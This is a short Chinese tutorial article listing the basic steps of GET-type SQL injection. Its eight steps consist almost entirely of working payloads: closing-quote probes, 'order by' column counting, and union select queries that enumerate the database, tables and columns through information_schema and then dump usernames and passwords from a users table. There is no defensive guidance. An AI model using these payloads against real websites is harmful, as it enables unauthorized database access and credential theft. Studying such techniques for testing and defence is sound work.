SQL注入的基本步骤

时间:2022-07-22
本文章向大家介绍SQL注入的基本步骤,主要内容包括其使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。

GET类型

1.判断是字符型还是数字型

​ 2-1

2.通过报错判断闭合符

​ " ’ ​ ‘’ LIMIT 0,1

3.确认查询的字段数量

order by 3

4.确认占位信息

union select 1,2,3 --+

5.爆库名

union select 1,2,database() --+

6.爆表名

union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='sql'--+

7.爆表字段

union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='sql' and table_name='users'--+

8.爆用户名和密码

union select 1,2,group_concat(concat_ws(',',username,password) SEPARATOR '|') from users --+